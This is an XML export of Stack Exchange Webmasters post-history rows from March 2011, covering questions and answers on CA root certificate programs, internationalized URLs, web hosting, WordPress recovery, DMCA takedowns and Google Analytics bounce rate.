  <row Id="21966" PostHistoryTypeId="2" PostId="9873" RevisionGUID="c32b1253-6223-4e0b-be39-4566b35bc933" CreationDate="2011-03-02T01:36:34.347" UserId="4119" Text="I suspect you will find that it is too expensive to do so in terms of auditing requirements. Also, there is no single definition of what it means to be trusted. Each application is free to define their own trust, and to use their own root certificates. Practically speaking, you may only care about getting your CA certificate in the Windows root certificate program, in the Mozilla program, in the Java cacerts file, Opera, and maybe a few smaller ones. I think Chrome uses either Windows root certs or the Mozilla root certs.&#xD;&#xA;&#xD;&#xA;Mozilla just issued a new [policy for CAs][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here a few link to articles about Microsoft's program:  &#xD;&#xA;[Microsoft Root Certificate Program][2]  &#xD;&#xA;[Windows root certificate program members][3]  &#xD;&#xA;[Microsoft Root Certificate Program Members][4]  &#xD;&#xA;&#xD;&#xA;Here is an [article][5] on getting into Opera's root certificates.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.mozilla.org/projects/security/certs/policy/&#xD;&#xA;  [2]: http://technet.microsoft.com/en-us/library/cc751157.aspx&#xD;&#xA;  [3]: http://support.microsoft.com/kb/931125&#xD;&#xA;  [4]: http://msdn.microsoft.com/en-us/library/ms995347.aspx&#xD;&#xA;  [5]: http://www.opera.com/docs/ca/" />
  <row Id="21967" PostHistoryTypeId="2" PostId="9874" RevisionGUID="f5710c71-db28-4425-8171-72bcb4b4184e" CreationDate="2011-03-02T01:38:55.550" UserId="4744" Text="I was wondering.. How urls works in other country? Let's say india or china that use non A-Z charceters...&#xD;&#xA;&#xD;&#xA;Do they use english terms in url? Or they can write their chars in urls like:&#xD;&#xA;&#xD;&#xA;`सच्चाई.html`&#xD;&#xA;&#xD;&#xA;?&#xD;&#xA;&#xD;&#xA;Thanks everyone... &#xD;&#xA;&#xD;&#xA;" />
  <row Id="21968" PostHistoryTypeId="1" PostId="9874" RevisionGUID="f5710c71-db28-4425-8171-72bcb4b4184e" CreationDate="2011-03-02T01:38:55.550" UserId="4744" Text="how urls works in country with non latin chars?" />
  <row Id="21969" PostHistoryTypeId="3" PostId="9874" RevisionGUID="f5710c71-db28-4425-8171-72bcb4b4184e" CreationDate="2011-03-02T01:38:55.550" UserId="4744" Text="&lt;internationalization&gt;" />
  <row Id="21970" PostHistoryTypeId="25" PostId="9868" RevisionGUID="3ecdc094-e5f5-4055-9d99-84938e167261" CreationDate="2011-03-02T02:23:12.767" Comment="http://twitter.com/#!/StackWebmasters/status/42771910005751808" />
  <row Id="21971" PostHistoryTypeId="2" PostId="9875" RevisionGUID="d5e65883-6388-4b7e-a3b9-e2d528e28cdc" CreationDate="2011-03-02T02:34:13.210" UserId="1787" Text="It depends on the context and characters used.&#xD;&#xA;&#xD;&#xA;**Domain names**&#xD;&#xA;&#xD;&#xA;Domain names that use non-ASCII characters are known as [Internationalized Domain Names][1] (IDNs). They are encoded using [Punycode][2] into the ASCII character set. This is to maintain compatibility with older networking software that doesn't understand Unicode.&#xD;&#xA;&#xD;&#xA;For example, I have registered a domain name with a letter containing an 'umlaut' character. Here, **`übersolve.com`** which translates to **`XN--BERSOLVE-55A.COM`** in DNS.&#xD;&#xA;&#xD;&#xA;**Filenames / query strings**&#xD;&#xA;&#xD;&#xA;In most cases, non-ASCII characters in filenames can be represented by Unicode.&#xD;&#xA;&#xD;&#xA;However some characters aren't allowed in URLs at all. These are [percent-encoded][3]. For example a space character ' ' would be replaced with **`%20`**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Internationalized_domain_name&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Punycode&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Percent-encoding" />
  <row Id="21972" PostHistoryTypeId="2" PostId="9876" RevisionGUID="876fd431-ab0c-4974-9929-d3d90bf84728" CreationDate="2011-03-02T02:55:44.467" UserId="5758" Text="Are there web sites that offers hosting of a web application that uses c++? I know that there are a lot of free web hosting solutions that offers hosting for regular web applications made with php, mysql, etc. I would like to upload a routing engine for my website. My application is a travel planner, and I have a custom routing engine that is made of c++. If there are free online Linux OS hosting that can act as a ordinary OS installation (which will be my best option), I would greatly appreciate if you can list them below. Thanks in advance." />
  <row Id="21973" PostHistoryTypeId="1" PostId="9876" RevisionGUID="876fd431-ab0c-4974-9929-d3d90bf84728" CreationDate="2011-03-02T02:55:44.467" UserId="5758" Text="Free Web hosting for web applications" />
  <row Id="21974" PostHistoryTypeId="3" PostId="9876" RevisionGUID="876fd431-ab0c-4974-9929-d3d90bf84728" CreationDate="2011-03-02T02:55:44.467" UserId="5758" Text="&lt;web-hosting&gt;" />
  <row Id="21975" PostHistoryTypeId="2" PostId="9877" RevisionGUID="6fe1f549-da87-4b2d-95f1-e637a7526e7f" CreationDate="2011-03-02T02:58:23.543" UserId="5758" Text="I'm using Zymic and Xtreemhost. They offer 5gb of free space." />
  <row Id="21976" PostHistoryTypeId="2" PostId="9878" RevisionGUID="2ebb986a-83ee-441e-96d2-d3ebc56a7272" CreationDate="2011-03-02T03:56:28.197" UserId="5026" Text="I've just installed Joomla 1.5.22, and after I log into Joomla admin, the Joomla logo appears, and the content area with rounded corners appears, but there is no content, and no admin menus.&#xD;&#xA;&#xD;&#xA;I've uploaded the /administrator folder once more, but the problem remains.&#xD;&#xA;&#xD;&#xA;I've searched the Joomla forums without much luck.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="21977" PostHistoryTypeId="1" PostId="9878" RevisionGUID="2ebb986a-83ee-441e-96d2-d3ebc56a7272" CreationDate="2011-03-02T03:56:28.197" UserId="5026" Text="Joomla 1.5 admin section blank." />
  <row Id="21978" PostHistoryTypeId="3" PostId="9878" RevisionGUID="2ebb986a-83ee-441e-96d2-d3ebc56a7272" CreationDate="2011-03-02T03:56:28.197" UserId="5026" Text="&lt;joomla&gt;&lt;administration&gt;" />
  <row Id="21979" PostHistoryTypeId="2" PostId="9879" RevisionGUID="a82ae998-366f-431d-a93a-69f3c8d3d042" CreationDate="2011-03-02T04:22:05.907" UserDisplayName="user5759" Text="Will any of those allow me to use a domain that I bought from another website?" />
  <row Id="21980" PostHistoryTypeId="2" PostId="9880" RevisionGUID="f4817042-0bca-4efe-a19a-63f9ac0c673a" CreationDate="2011-03-02T04:34:37.960" UserId="3620" Text="I'm looking for a windows web hosting reseller provider with the following requirements:&#xD;&#xA;&#xD;&#xA; - Plesk control panel (for reseller and customers)&#xD;&#xA; - Support for Magento, Joomla, and Wordpress&#xD;&#xA; - A decent reputuation&#xD;&#xA;&#xD;&#xA;I'd prefer to not go the VPS route because I do not want to support the server.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="21981" PostHistoryTypeId="1" PostId="9880" RevisionGUID="f4817042-0bca-4efe-a19a-63f9ac0c673a" CreationDate="2011-03-02T04:34:37.960" UserId="3620" Text="Looking for Windows Hosting Reseller provider with decent reputation" />
  <row Id="21982" PostHistoryTypeId="3" PostId="9880" RevisionGUID="f4817042-0bca-4efe-a19a-63f9ac0c673a" CreationDate="2011-03-02T04:34:37.960" UserId="3620" Text="&lt;web-hosting&gt;&lt;reseller&gt;" />
  <row Id="21983" PostHistoryTypeId="2" PostId="9881" RevisionGUID="cd1dbcd6-cf08-4b78-973f-6d396958b0a2" CreationDate="2011-03-02T04:48:49.093" UserId="5679" Text="When register my site to Google webmaster tools, which one should I register?&#xD;&#xA;&#xD;&#xA;1. mydomain.com&#xD;&#xA;2. www.mydomain.com&#xD;&#xA;3. both&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="21984" PostHistoryTypeId="1" PostId="9881" RevisionGUID="cd1dbcd6-cf08-4b78-973f-6d396958b0a2" CreationDate="2011-03-02T04:48:49.093" UserId="5679" Text="mydomain.com or www.mydomain.com for Google webmaster tools?" />
  <row Id="21985" PostHistoryTypeId="3" PostId="9881" RevisionGUID="cd1dbcd6-cf08-4b78-973f-6d396958b0a2" CreationDate="2011-03-02T04:48:49.093" UserId="5679" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="21986" PostHistoryTypeId="2" PostId="9882" RevisionGUID="cb285be4-70df-48a0-aa58-18cac72bf265" CreationDate="2011-03-02T05:00:28.713" UserId="5026" Text="I am close to starting a new website for a small business which imports products from USA to Australia.  The wholesaler says he will allow my client to be the sole distributor for Australia &amp; New Zealand.&#xD;&#xA;&#xD;&#xA;I'm not sure what CMS or shopping cart software to use yet, but it will need to include an affiliate system to allow advertisers to push customers our way.&#xD;&#xA;&#xD;&#xA;Do you have any suggestions for robust, flexible affiliate software?  Thanks." />
  <row Id="21987" PostHistoryTypeId="1" PostId="9882" RevisionGUID="cb285be4-70df-48a0-aa58-18cac72bf265" CreationDate="2011-03-02T05:00:28.713" UserId="5026" Text="Affiliate software to attract incoming customers" />
  <row Id="21988" PostHistoryTypeId="3" PostId="9882" RevisionGUID="cb285be4-70df-48a0-aa58-18cac72bf265" CreationDate="2011-03-02T05:00:28.713" UserId="5026" Text="&lt;affiliate&gt;" />
  <row Id="21989" PostHistoryTypeId="25" PostId="9876" RevisionGUID="c7234b48-8182-4a19-9404-fe0792a74aac" CreationDate="2011-03-02T05:23:12.330" Comment="http://twitter.com/#!/StackWebmasters/status/42817206966423552" />
  <row Id="21990" PostHistoryTypeId="2" PostId="9883" RevisionGUID="e7bf1137-36de-4be3-a9cb-a14b3d214e96" CreationDate="2011-03-02T05:36:13.703" UserDisplayName="user5760" Text="My SEO people tell me google 'doesn't like' naked domains.  A symptom of this is that if you try to redirect your myblog.blogspot.com blog to mypersonaldom.com/blog, you get an error that says &quot;Blogs cannot be hosted at naked domains&quot;.  &#xD;&#xA;&#xD;&#xA;I'll provide more details when I get them. " />
  <row Id="21991" PostHistoryTypeId="17" PostId="9885" RevisionGUID="accf402e-69e0-4c01-86df-8ae63e93f739" CreationDate="2011-03-02T06:06:32.227" UserId="-1" Comment="from http://stackoverflow.com/questions/5162115/how-do-i-recover-a-site-after-wordpress-automatic-update-has-failed/5162216#5162216" Text="" />
  <row Id="21992" PostHistoryTypeId="2" PostId="9885" RevisionGUID="bc8040ca-eec8-4975-87fc-274f1de2dfcf" CreationDate="2011-03-02T00:46:51.270" UserDisplayName="Frederik Wordenskjold" Text="Since you dont know which, and how many files are missing, you should really just backup your database and theme folder, and install a new version of Wordpress. &#xD;&#xA;&#xD;&#xA;Then you can try the automatic update again! Wordpress has probably not done anything to your theme-folder or your database, so I dont see why this shouldn't revert your installation back to your starting point.&#xD;&#xA;&#xD;&#xA;Remember that when installing a new copy, you need to edit the `wp-config.php` file, so Wordpress can access your database. Usually, this file is not present, but there is `a wp-config-sample.php` file, that you can edit and rename. I'm not sure if Wordpress will actually overwrite your old database tables, if you follow the on-screen wizard on the wp-installation root, but it its probably best to edit/create the configuration file manually in this case." />
  <row Id="21993" PostHistoryTypeId="2" PostId="9884" RevisionGUID="7d1453a4-048d-47b4-9cb8-0dab14fc0d67" CreationDate="2011-03-02T00:32:02.683" UserDisplayName="Metacom" Text="I manage several WordPress websites, and successfully recently used the Automatic Upgrade feature to bring them up to 3.1. However, on one of the sites, I received a 503 (I believe it was 503). After that I was presented with &quot;The service is unavailable.&quot; whenever I tried to access any page, including the index page, wp-admin, etc. I had similar problems before when a WordPress site got stuck in maintenance mode, and all I needed to do was login via FTP and rename or delete the .maintenance file. I tried that in this case, but that didn't do the trick. I am now presented with &quot;Fatal error: Call to undefined function require_wp_db() in **\wp-settings.php on line 71&quot;&#xD;&#xA;&#xD;&#xA;I can't figure out how to fix this problem, and I was wondering if anyone else had any ideas.&#xD;&#xA;&#xD;&#xA;Any suggestions are appreciated! Thank you for reading.&#xD;&#xA;" />
  <row Id="21994" PostHistoryTypeId="1" PostId="9884" RevisionGUID="7d1453a4-048d-47b4-9cb8-0dab14fc0d67" CreationDate="2011-03-02T00:32:02.683" UserDisplayName="Metacom" Text="How do I recover a site after WordPress' Automatic Update has failed?" />
  <row Id="21995" PostHistoryTypeId="3" PostId="9884" RevisionGUID="7d1453a4-048d-47b4-9cb8-0dab14fc0d67" CreationDate="2011-03-02T00:32:02.683" UserDisplayName="Metacom" Text="&lt;wordpress&gt;" />
  <row Id="21996" PostHistoryTypeId="17" PostId="9884" RevisionGUID="9a757308-2940-48e3-b2a0-caeebf13c4f0" CreationDate="2011-03-02T06:06:32.227" UserId="-1" Comment="from http://stackoverflow.com/questions/5162115/how-do-i-recover-a-site-after-wordpress-automatic-update-has-failed" Text="" />
  <row Id="22000" PostHistoryTypeId="5" PostId="9867" RevisionGUID="1bd58fed-b397-46d3-999e-1409d403a27b" CreationDate="2011-03-02T06:58:19.477" UserId="1787" Comment="Added Chilling Effects link" Text="Take screenshots for proof. Then write to the various parties involved the documents they require so the content can be removed. Focus on the plagiarism of your copyrighted content (uniqueness of products sold is your word against theirs).&#xD;&#xA;&#xD;&#xA;1. Send the site owners a cease and desist letter.&#xD;&#xA;&#xD;&#xA;2. Send their web host a DMCA takedown notice. This can be determined using [whois][1].&#xD;&#xA;&#xD;&#xA;3. Send search engines a DMCA takedown notice according to their terms:&#xD;&#xA;&#xD;&#xA; - [Google][2] [(how-to steps)][3]&#xD;&#xA; - [Bing][4]&#xD;&#xA; - [Yahoo!][5]&#xD;&#xA; - [AOL][6]&#xD;&#xA;&#xD;&#xA;There are examples of how to write each of these documents on [Plagiarism Today][7].&#xD;&#xA;&#xD;&#xA;If this doesn't work then you'd need to call in the lawyers. Here's details of a [particular case][8] I just stumbled across on Chilling Effects. There's also more information about Cease &amp; Desist there.&#xD;&#xA;&#xD;&#xA;I would also set up [Google Alerts][9] which will e-mail you when it finds content matching your unique search terms.&#xD;&#xA;&#xD;&#xA;The above is a summary of steps recommended in [several posts on brentozar.com][10]. While his posts are about stealing of blog content, most of it applies to your situation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://whois.domaintools.com&#xD;&#xA;  [2]: http://www.google.com/dmca.html&#xD;&#xA;  [3]: http://www.plagiarismtoday.com/2008/07/22/how-to-email-a-dmca-to-google/&#xD;&#xA;  [4]: http://www.microsoft.com/info/cpyrtInfrg.htm&#xD;&#xA;  [5]: http://info.yahoo.com/copyright/us/details.html&#xD;&#xA;  [6]: http://about.aol.com/aolnetwork/copyright_infringement&#xD;&#xA;  [7]: http://www.plagiarismtoday.com/stock-letters/&#xD;&#xA;  [8]: http://www.chillingeffects.org/notice.cgi?sID=30399&#xD;&#xA;  [9]: http://www.google.com/alerts&#xD;&#xA;  [10]: http://www.brentozar.com/tag/plagiarism/" />
  <row Id="22002" PostHistoryTypeId="2" PostId="9888" RevisionGUID="cd237301-f94c-499d-abba-019c8fef009d" CreationDate="2011-03-02T07:20:28.477" UserId="5763" Text="[Django][1] has a [comment module][2] built in, and there are also [many third-party comment modules][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.djangoproject.com/&#xD;&#xA;  [2]: http://docs.djangoproject.com/en/1.2/ref/contrib/comments/&#xD;&#xA;  [3]: http://djangopackages.com/grids/g/commenting/" />
  <row Id="22003" PostHistoryTypeId="2" PostId="9889" RevisionGUID="b139057b-bba5-4f95-8476-b4c6220b6e1e" CreationDate="2011-03-02T07:48:02.647" UserId="5710" Text="My company is expanding online, and we are wondering the best way to go about our eCommerce strategy. We sell a wide range of products of a single material, lets use ceramics as an example. The current competition in our niche online is medium level.&#xD;&#xA;&#xD;&#xA;We currently have one site selling all our range: ceramicstuff.com&#xD;&#xA;&#xD;&#xA;However I have just found that ceramickitchenware.com, ceramicbowls.com, etc are currently unregistered, despite quite decent traffic search volume around those keywords monthly.&#xD;&#xA;&#xD;&#xA;What do you guys think about registering these domains to increase traffic? Would I put a standalone sites on those domains, or do I point them to my main domain? Or do I use them a &quot;micro&quot; sites to offer information, and then link to buy at my main domain, etc?&#xD;&#xA;&#xD;&#xA;**Summary: I'm looking to employ &quot;spammy&quot; type SEO tricks, multiple domains, etc but the key point is I will be generating REAL content, and offering a REAL QUALITY product. How to proceed?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22004" PostHistoryTypeId="1" PostId="9889" RevisionGUID="b139057b-bba5-4f95-8476-b4c6220b6e1e" CreationDate="2011-03-02T07:48:02.647" UserId="5710" Text="Multiple domains and product categories but one company?" />
  <row Id="22005" PostHistoryTypeId="3" PostId="9889" RevisionGUID="b139057b-bba5-4f95-8476-b4c6220b6e1e" CreationDate="2011-03-02T07:48:02.647" UserId="5710" Text="&lt;multiple-domains&gt;" />
  <row Id="22006" PostHistoryTypeId="2" PostId="9890" RevisionGUID="f224bbb6-d8c4-4057-891a-322c92170f59" CreationDate="2011-03-02T08:08:02.523" UserId="5745" Text="I registered mine with www. I suppose there isn't much of a difference between them. Using www.yourdomain.com or yourdomain.com is just a different referral of the A-record, but resolves the same host IP." />
  <row Id="22007" PostHistoryTypeId="2" PostId="9891" RevisionGUID="7fca4230-b879-438b-9069-94fd9a9b216d" CreationDate="2011-03-02T08:15:29.087" UserId="5745" Text="What I would do is, indeed, register the other domain names as well, and use them as aliases. I would then handle the URL and redirect to the specified page in the &lt;b&gt;main&lt;/b&gt; website.&#xD;&#xA;&#xD;&#xA;For example: www.ceramickitchenware.com could be forwarded to &lt;i&gt;www.ceramickitchenware.com/kitchenware&lt;/i&gt;, which is the same as &lt;i&gt;www.ceramicstuff.com/kitchenware&lt;/i&gt;.&#xD;&#xA;&#xD;&#xA;This way you &#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Have to maintain only one website&lt;/li&gt;&#xD;&#xA;&lt;li&gt;The visitor can immediately see the entire range of products&lt;/li&gt;&#xD;&#xA;&lt;li&gt;The visitor will see one type of layout, which helps usability&lt;/li&gt;&#xD;&#xA;&lt;li&gt;The forwarding will work for the Search engine bots as well.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Your website may score better on a different alias when searching for different keywords, but the website content remains the same&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;" />
  <row Id="22009" PostHistoryTypeId="2" PostId="9892" RevisionGUID="fe3a61f5-a0da-4ec0-84c1-44f2a98ad82d" CreationDate="2011-03-02T08:51:13.227" UserId="1089" Text="The best I can manage to find with reddit stats are:&#xD;&#xA;&#xD;&#xA;Almost [14 million unique visitors, 1 billion(!) page views][1] from googles monthly analystics.&#xD;&#xA;&#xD;&#xA;Then looking at the [top scoring monthly reddit pages][2] the top voted item has 3723 votes, the largest number of comments I can find on a single item were around 2500*&#xD;&#xA;&#xD;&#xA;Personally, I think if any site manages 75/25 lurking/participation @tadamson mentions your doing quite well, from my experience the stats are closer to 80/20, 90/10 or even as low as 95/5.&#xD;&#xA;&#xD;&#xA;*This was posted 2nd March, so its possible this is just for the month of March in which case you might want to check at the end of the month for a more rounder picture.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.reddit.com/2011/02/reddit-billions-served.html&#xD;&#xA;  [2]: http://www.reddit.com/top/?t=month" />
  <row Id="22010" PostHistoryTypeId="2" PostId="9893" RevisionGUID="d85cbbf4-0a50-402d-b331-201234c92487" CreationDate="2011-03-02T09:40:00.640" UserId="5727" Text="Suprised we are not looking at the obvious solution here.&#xD;&#xA;&#xD;&#xA; - Attempt to contact blog owner, establish dialogue and attempt to find a solution.  Perhaps when you explain how much grief it is giving you they will empathise&#xD;&#xA; - Ignore it.  It's a lot of effort to run and constantly update a blog.  I expect most of them to fizzle out after a while.&#xD;&#xA;&#xD;&#xA;Don't:&#xD;&#xA;&#xD;&#xA; - 'Return the favour' as others have mentioned.  It's a great was to $&amp;@£ the whole situation in a way you never thought possible.  You might even target the wrong person." />
  <row Id="22011" PostHistoryTypeId="2" PostId="9894" RevisionGUID="9f96fcaf-7fec-44a2-9781-77cb8feedc1a" CreationDate="2011-03-02T09:53:25.950" UserId="1064" Text="If you are serving the same content under both domain names and you do not have the option to redirect (301/permanent) visitors who land at the non-canonical domain over to your canonical domain, you should register **both** domains at Webmaster Tools and then [set your preferred domain][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=44231" />
  <row Id="22012" PostHistoryTypeId="2" PostId="9895" RevisionGUID="3afa61d3-4ad6-46b9-9bf9-d8c73ae20c26" CreationDate="2011-03-02T10:29:44.727" UserId="5739" Text="Make sure to back up your \wp-content\uploads directory as well as it contains images you have uploaded and inserted into posts/pages.&#xD;&#xA;" />
  <row Id="22013" PostHistoryTypeId="2" PostId="9896" RevisionGUID="f5fea1cf-f2c8-4a49-bb01-46b3375fa6c0" CreationDate="2011-03-02T10:49:55.957" UserId="5739" Text="Try baselining your text. This will give it a really nice vertical rhythm which, in conjunction with the grid system, should give you pretty much what you are looking for.&#xD;&#xA;&#xD;&#xA;Here are a couple of links to get you started:&#xD;&#xA;&#xD;&#xA;http://baselinecss.com/&#xD;&#xA;http://www.smashingmagazine.com/2009/04/03/8-simple-ways-to-improve-typography-in-your-designs/&#xD;&#xA;http://www.smashingmagazine.com/2008/04/23/5-principles-and-ideas-of-setting-type-on-the-web/" />
  <row Id="22014" PostHistoryTypeId="2" PostId="9897" RevisionGUID="43e5eaa8-b67d-42b9-aeb1-6736967caff8" CreationDate="2011-03-02T11:22:05.447" UserId="5767" Text="We run a website where we sell access to a member area. &#xD;&#xA;&#xD;&#xA;We use Google analytics to optimize the site but i have a bounce rate in about 85%. The problem is that I'm not sure what count as a bounce and whats not. &#xD;&#xA;&#xD;&#xA;If a person go to my front page and log in directly. Will this count as a bounce because there is no analytics on the member pages or is Google smart enough to see that the link is on my side?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks a lot.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22015" PostHistoryTypeId="1" PostId="9897" RevisionGUID="43e5eaa8-b67d-42b9-aeb1-6736967caff8" CreationDate="2011-03-02T11:22:05.447" UserId="5767" Text="How does google calculate bounce rate?" />
  <row Id="22016" PostHistoryTypeId="3" PostId="9897" RevisionGUID="43e5eaa8-b67d-42b9-aeb1-6736967caff8" CreationDate="2011-03-02T11:22:05.447" UserId="5767" Text="&lt;google-analytics&gt;&lt;optimizations&gt;" />
  <row Id="22017" PostHistoryTypeId="25" PostId="9889" RevisionGUID="84a8aada-aeb0-4638-9035-431233941438" CreationDate="2011-03-02T11:23:12.573" Comment="http://twitter.com/#!/StackWebmasters/status/42907804272574464" />
  <row Id="22018" PostHistoryTypeId="5" PostId="9885" RevisionGUID="e86d27f0-1933-4a2e-9f69-e7a693c564a0" CreationDate="2011-03-02T11:39:04.620" UserId="5769" Comment="added 87 characters in body" Text="Since you dont know which, and how many files are missing, you should really just backup your database and theme folder, and install a new version of Wordpress. Also remember to back up your `wp-content\uploads` folder, as Hedley Phillips mentions.&#xD;&#xA;&#xD;&#xA;Then you can try the automatic update again! Wordpress has probably not done anything to your theme-folder or your database, so I dont see why this shouldn't revert your installation back to your starting point.&#xD;&#xA;&#xD;&#xA;Remember that when installing a new copy, you need to edit the `wp-config.php` file, so Wordpress can access your database. Usually, this file is not present, but there is `a wp-config-sample.php` file, that you can edit and rename. I'm not sure if Wordpress will actually overwrite your old database tables, if you follow the on-screen wizard on the wp-installation root, but it its probably best to edit/create the configuration file manually in this case." />
  <row Id="22022" PostHistoryTypeId="2" PostId="9899" RevisionGUID="a756acf3-f27e-49ba-a866-2e9271e642a8" CreationDate="2011-03-02T12:01:59.203" UserId="6578" Text="I am hiring a company to host my site.&#xD;&#xA;&#xD;&#xA;It was developed in asp.net / razor + Sql ce (. sdf).&#xD;&#xA;&#xD;&#xA;My question is, I need support for sql server, and my database does not use a SQL service but one. sdf file (compact version of SQL server)" />
  <row Id="22023" PostHistoryTypeId="1" PostId="9899" RevisionGUID="a756acf3-f27e-49ba-a866-2e9271e642a8" CreationDate="2011-03-02T12:01:59.203" UserId="6578" Text="Web hosting with SQL Server Ce" />
  <row Id="22024" PostHistoryTypeId="3" PostId="9899" RevisionGUID="a756acf3-f27e-49ba-a866-2e9271e642a8" CreationDate="2011-03-02T12:01:59.203" UserId="6578" Text="&lt;web-hosting&gt;&lt;asp.net&gt;&lt;sql-server&gt;" />
  <row Id="22025" PostHistoryTypeId="5" PostId="9865" RevisionGUID="720787fa-2ee3-44e1-a667-374d38883362" CreationDate="2011-03-02T12:03:51.590" UserId="1714" Comment="added 200 characters in body" Text="We are right now incorporating [microformats markup for reviews][1] into a client's web application and were wondering, whether it can be harmful to provide the same information on more than one page, e.g. on a dynamic search page and on the concrete product page.&#xD;&#xA;&#xD;&#xA;Does anybody have any experience with this?&#xD;&#xA;&#xD;&#xA;**UPDATE:** Actually, I was wondering, if Google showed a link to the page the review comes from, then how would they decide which of the sources of the review they would link to? Or don't they?&#xD;&#xA;&#xD;&#xA;  [1]: http://microformats.org/wiki/hreview" />
  <row Id="22030" PostHistoryTypeId="2" PostId="9900" RevisionGUID="1f69083f-7c2d-40af-8140-6e29d10a0622" CreationDate="2011-03-02T12:55:43.890" UserId="529" Text="From Google Analytics Help Center:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Bounce rate is the percentage of&#xD;&#xA;&gt; single-page visits or visits in which&#xD;&#xA;&gt; the person left your site from the&#xD;&#xA;&gt; entrance (landing) page.&#xD;&#xA;&#xD;&#xA;The important thing to note is that Google is totally blind to pages that don't have Google Analytics on them. That means, if the page to login to your member area (and all subsequent pages) doesn't have Google Analytics, it assumes that a session without a second page view is a bounce, and will record it accordingly. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22034" PostHistoryTypeId="2" PostId="9902" RevisionGUID="a475a8bb-5359-464f-8693-4db041de2755" CreationDate="2011-02-22T21:54:23.427" UserDisplayName="Kyle Macey" Text="My company uses HostGator to host our web sites, and I'm having a heck of a time figuring out what my final steps are to get a functioning RoR app up there.&#xD;&#xA;&#xD;&#xA;I've got all the way up to configuring mongrel (I think?) and being able to run deploy:cold without any errors. However, I can't seem to get the app to show up in the designated CPanel area (HG says the name &quot;current&quot; is already reserved for another application), and I'm not sure which port was allowed for me to use. I've opened tickets with Customer Support just to be told that &quot;You can't access the database with root&quot;... Totally unrelated to my question...&#xD;&#xA;&#xD;&#xA;So I think I'm in the final stretch and if anyone has any insight or experience with HostGator, please cue me in." />
  <row Id="22035" PostHistoryTypeId="1" PostId="9902" RevisionGUID="a475a8bb-5359-464f-8693-4db041de2755" CreationDate="2011-02-22T21:54:23.427" UserDisplayName="Kyle Macey" Text="Help deploying using Capistrano to HostGator" />
  <row Id="22036" PostHistoryTypeId="3" PostId="9902" RevisionGUID="a475a8bb-5359-464f-8693-4db041de2755" CreationDate="2011-02-22T21:54:23.427" UserDisplayName="Kyle Macey" Text="&lt;ruby-on-rails&gt;&lt;web-hosting&gt;&lt;cpanel&gt;" />
  <row Id="22037" PostHistoryTypeId="17" PostId="9902" RevisionGUID="73179a59-65cf-47bf-85bc-73aa9f00ebcc" CreationDate="2011-03-02T13:51:29.647" UserId="-1" Comment="from http://stackoverflow.com/questions/5084452/help-deploying-using-capistrano-to-hostgator" Text="" />
  <row Id="22044" PostHistoryTypeId="25" PostId="9897" RevisionGUID="3c302fea-03af-438e-b432-7c5bd1f8d84f" CreationDate="2011-03-02T14:23:12.777" Comment="http://twitter.com/#!/StackWebmasters/status/42953103082913792" />
  <row Id="22048" PostHistoryTypeId="2" PostId="9904" RevisionGUID="7e3572f9-14b3-4fba-9733-91bf6f7d3d5a" CreationDate="2011-03-02T14:30:17.983" UserId="1643" Text="I can't take the credit for this, but the answer danlefree gave in the comments seems to explain why the numbers don't seem to add up." />
  <row Id="22049" PostHistoryTypeId="2" PostId="9905" RevisionGUID="39655f7e-383d-4517-b3a1-634f3c17449a" CreationDate="2011-03-02T14:34:06.263" UserId="1643" Text="To answer your second question, if you read further down that help page it says that those stats do include feedburner (but only for people subscribed using your sites URL)." />
  <row Id="22050" PostHistoryTypeId="2" PostId="9906" RevisionGUID="925559a4-a420-49c3-afa2-bc690b45cb34" CreationDate="2011-03-02T15:44:30.447" UserId="1588" Text="Are there any stats for UK web usage which have attempted to measure how many users use Google.**com** and how many use Google.**co.uk**?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22051" PostHistoryTypeId="1" PostId="9906" RevisionGUID="925559a4-a420-49c3-afa2-bc690b45cb34" CreationDate="2011-03-02T15:44:30.447" UserId="1588" Text="Are there any stats for Google.co.uk v. Google.com usage?" />
  <row Id="22052" PostHistoryTypeId="3" PostId="9906" RevisionGUID="925559a4-a420-49c3-afa2-bc690b45cb34" CreationDate="2011-03-02T15:44:30.447" UserId="1588" Text="&lt;google&gt;&lt;usage-data&gt;" />
  <row Id="22053" PostHistoryTypeId="2" PostId="9907" RevisionGUID="08383415-ec2b-4dcd-b00e-42187905e95a" CreationDate="2011-03-02T16:06:37.817" UserId="3142" Text="I see URI ending in &quot;.do&quot; on some enterprise websites. I've always been curious to know what that stands for, but my Google searches have so far not turned up an answer.&#xD;&#xA;&#xD;&#xA;Here is an example from ATT customer portal:&#xD;&#xA;&#xD;&#xA;https://www.att.com/view/displayFullBill.do&#xD;&#xA;&#xD;&#xA;What does the &quot;.do&quot; mean?" />
  <row Id="22054" PostHistoryTypeId="1" PostId="9907" RevisionGUID="08383415-ec2b-4dcd-b00e-42187905e95a" CreationDate="2011-03-02T16:06:37.817" UserId="3142" Text="In a URI, what does the suffix &quot;.do&quot; stand for?" />
